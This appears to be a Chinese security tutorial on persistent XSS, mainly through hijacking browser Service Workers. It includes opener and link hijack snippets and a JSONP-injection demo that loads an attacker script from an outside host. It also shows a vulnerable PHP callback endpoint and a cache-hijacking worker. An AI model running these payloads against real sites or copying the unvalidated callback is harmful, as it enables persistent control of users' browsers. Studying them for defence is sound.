前述
持久化 XSS 的常见姿势有
- with CSRF Inject
- opener hijack
window.opener.location="javascript:alert('Xss')";void(0);
- link hijack
for (i = 0; i < document.links.length; i++) {
document.links[i].οnclick = function () {
x = window.open(this.href);
setTimeout(function () {
try {
x.location = "javascript: alert('Xss')"
} catch (e) {};
return false;
}, 3000);
return false;
}
};
void(0);
- HTTP cache hijack (需要配合 CSRF)
- with Service Workers
简介
Service Workers 全局请求拦截技术让我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。当然,由于这项技术能量太大,所以在设计的时候对他做了一定的约束:只在 HTTPS 下工作,安装ServiceWorker的脚本需要当前域下,且返回的 content-type 包含 /javascript
作用
- 监听、篡改 - 请求、响应
- 升级反射 XSS 到存储型
- 持久性控制
快速查看
chrome://serviceworker-internals
或
注册方式
- script
<script>
navigator.serviceWorker.register("/payload.js");
</script>
- link 未成功
<link rel="serviceworker" href="/payload.js" scope="/">
- header
# Response - Header
Link: </sw.js>; rel="serviceworker"; scope="/"
利用环境
必须为
HTTPs
,哪怕证书过期ServiceWorker 文件可控
XSS
- 可以尝试直接注册 SW
- 配合跨目录上传,注册根部 sw 文件
JsonP 利用跨域传输payload
Cache 缓存
注意
- 注册时,文件路径决定可影响范围,所以越接近 web 根越好;若在根部,则影响整个域下事件
- 利用 jsonp 时,JsonP Content-Type需返回为
text/javascript
或application/x-javascript
或application/javascript
; - 需要 xss 插入 payload
Demo
i. JsonP
// server side -> xss-attack.html
<script type="text/javascript">
var url = "1.php?callback=importScripts('//blog.sari3l.com/sec.js')//1";
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register(url)
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
</script>
// server side -> jsonp-bug.html
// 根据实际 jsonp 利用修改上面 xss 攻击 payload
<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();
header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");
// attacker side -> sec.js
onfetch = e => {
body =
'<script>alert(document.domain)</script>';
init = { headers: { 'content-type': 'text/html' } };
e.respondWith(new Response(body, init));
}
ii. Cache
如果使用cache.put方法,则请求的资源成功后会存在Cache Storage里。如果fetch里写了caches.match(event.request)方法,则每次请求时会先从caches找缓存来优先返回给请求页面。若没有缓存,再进行新的缓存操作。
下面是一个缓存读取/判断的demo
// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response。否则用Fetch请求网络上原本的url,进行本地缓存(为了不影响正常功能))
self.addEventListener('fetch', function(event) {
event.respondWith(
//console.log(event.request)
caches.match(event.request).then(function(res) {
if (res) { //如果有缓存则使用缓存
return res;
}
return requestBackend(event); //没缓存就进行缓存
})
)
});
function requestBackend(event) {
var url = event.request.clone();
console.log(url) //打印内容是打印到请求页面
if (url.url == 'http://localhost/reurl.html') { //判断是否为需要劫持的资源
return new Response("<script>alert(1)</script>", { headers: { 'Content-Type': 'text/html' } })
}
return fetch(url).then(function(res) {
//检测是否为有效响应
if (!res || res.status !== 200 || res.type !== 'basic') {
return res;
}
var response = res.clone();
caches.open('v1').then(function(cache) { //打开v1缓存进行存储
cache.put(event.request, response);
});
return res;
})
}